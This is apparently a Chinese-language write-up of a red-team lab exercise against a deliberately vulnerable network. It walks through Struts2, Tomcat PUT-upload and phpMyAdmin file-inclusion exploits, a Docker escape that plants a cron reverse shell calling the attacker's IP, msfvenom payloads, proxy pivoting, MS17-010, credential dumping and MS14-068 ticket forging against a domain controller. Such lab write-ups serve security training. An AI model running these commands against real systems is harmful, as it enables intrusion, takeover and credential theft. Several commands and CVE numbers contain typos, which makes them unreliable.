ATTCK红队实战_四

服务器

  通过前面的靶场三,我们学习了命令执行函数的绕过,脏牛提权以及WMI的利用,靶场四利用的知识点有struts2、tomcatl漏洞利用、phpmyadmin文件包含、docker逃逸、以及MS14-068攻击域孔,下面让我们来看一下吧。 本次试验靶场配置好后,要自己开启vulhub里面的三个漏洞 攻击机 192.168.1.3 Web 192.168.1.9 192.168.183.3 Win7 192.168.183.2 DC 192.168.1.130 0x00:信息收集 先对目标进行端口扫描,发现开放了2001、2002、2003 三个web端口 0x01:漏洞分析 struts2 访问http://192.168.1.9:2001/doUpload.action发现是struts2,使用漏洞利用工具直接获取shell Tomcat 访问http://192.168.1.9:2001/doUpload.action是一个tomcat页面,首先想的是看有没有弱口令,然后进入后台部署war包来进行getshell,但是不行,那就看看有没有CVE漏洞,使用漏洞扫描工具发现存在CVE-2022-12615,可以直接PUT上传一个shell文件 抓包上传一个冰蝎的木马 访问一下发现存在shell.jsp文件成功上传 Phpmyadmin 访问http://192.168.1.9:2003/发现是一个phpmyadmin未授权页面 首先想到的是修改日志文件或者直接写入一句话木马,但是没有权限,测试发现存在文件包含漏洞 http://192.168.1.9:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd 访问 http://192.168.1.9:2003/index.php?target=db_sql.php?w=../../../../../../../../../../tmp/sess_c31ee298e7a539c99516b6e291d5de32 尝试写入一句话,但是工具连接不上,换成GET方式执行命令也不行,但通过执行system函数来执行命令。 0x02:漏洞利用 利用Tomcat以PUT方式上传一个木马文件,使用冰蝎进行连接 docker逃逸 判断是否为docker环境 ls -alh /.dockerenv #查看是否存dockerrnv文件 cat /proc/1/cgroup #查看系统进程的cgroup信息 挂载宿主机 fdisk -l #查看磁盘文件 mkdir /chan #新建一个目录用于挂载 mount /dev/sda1 /chan #将宿主机/dev/sda1目录挂载到容器内 计划任务写入一个反弹shell的脚本 Touch /chan/tmp/test.sh Chmod +x /chan/tmp/test.sh Ls -l /chan/tmp/test.sh echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.1.3/9999 0>&1" >> /chan/tmp/test.sh cat /chan/tmp/test.sh sed -i '$a*/1 * * * * root bash /tmp/test.sh ' /chan/etc/crontab cat /test/etc/crontab 攻击机监听端口获取shell,逃逸成功,此时也利用计划任务corntab提权到root权限 利用python获取一个交互式shell 进行简单的信息收集,发现存在两个网卡,内网IP为192.168.183.3 使用msf生产一个shell.elf msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.1.3 lport=4444-f elf > shell.elf 在靶机中将shell.elf下载下来赋权并执行 MSF监听4444端口,成功获得一个meterpreter 0x03:横向渗透 添加路由,然后使用MSF开个sock4正向代理,配合proxychains 将/etc/proxychains.conf配置文件中的端口改为1080 配置好后访问内网地址,发现成功访问说明配置成功 内网存活主机扫描 利用MSF自带的模块进行内网主机存活扫描 或者在靶机中执行下述命令 for k in $( seq 1 255);do ping -c 1 192.168.183.$k grep "ttl" awk -F "[ :]+" '{print $4}'; done 端口服务探测 proxychains4 nmap -sT -Pn -p 21,22,135,139,445,80,53,8080,1433 192.168.183.2 proxychains4 nmap -sT -Pn -p 21,22,135,139,445,80,53,8080,1433 192.168.183.130 发现主机开启了445端口,利用ms17-010攻击域内主机,这里创建一个正向的shell 攻击成功,成功获取一个meterpreter, 使用tasklist /v查看进程发现存在DEMO域成员进程,尝试抓取其密码 成功抓取到douser域用户的密码 切换到域用户 进行简单域信息收集 利用MS14-048攻击域控 获取域用户douser的SID 返回system权限,使用MS14-068进行攻击 利用ms14-068生成票据: MS14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 在mimikztz中导入票据: Kerberos::ptc C:\Users\douser\Desktop\TGT_douser@demo.com.ccache 成功获取域控权限 利用MSF生产一个正向连接的payload msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=6666 -f exe -o/var/www/html/cahn.exe 将chan.exe上传到跳板机上 然后将chan.exe复制到域控上 创建关闭域控的防火墙和执行chan.exe的服务,然后执行 sc \\WIN-ENS2VR5TR3N create ProFirewall binpath= "netsh advfirewall set allprofiles state off" sc \\WIN-ENS2VR5TR3N start ProFirewall sc \\WIN-ENS2VR5TR3N create Startup binpath= "C:\chan.exe" sc \\WIN-ENS2VR5TR3N start Startup 在MSF设置监听,获取一个meterpreter,但是这里过了一会,会自动断开,所以我迁移了一个进程 抓取域控管理员的密码 后面就是开启3389端口然后进行桌面连接了 run post/windows/manage/enable_rdp 或者 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server/v fDenyTSConnections /t REG_DWORD /d 0 /f 0x04:总结 学习了docker逃逸的姿势,在搭建好代理对内网主机使用MS17010进行攻击时,由于网络的原因好几次都是攻击成功,但是无法返回一个meterpreter。在靶机中查看端口,发现监听的端口过了一会会自动断开,好在后面还是成功返回了一个meterpreter ,然后利用MS14-068拿下域控。

标签: 服务器